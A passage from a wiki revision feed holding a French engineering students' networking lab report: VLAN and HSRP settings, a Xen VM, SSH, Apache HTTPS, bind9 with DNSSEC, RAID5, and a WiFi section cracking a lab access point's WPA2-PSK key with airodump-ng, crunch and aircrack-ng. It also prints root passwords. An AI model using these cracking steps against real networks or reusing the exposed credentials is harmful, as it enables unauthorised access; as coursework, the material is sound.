   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51567</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51567"/>
				<updated>2019-12-07T02:15:17Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Protocole HTTPS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Connexion ssh@193.48.57.161'''&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
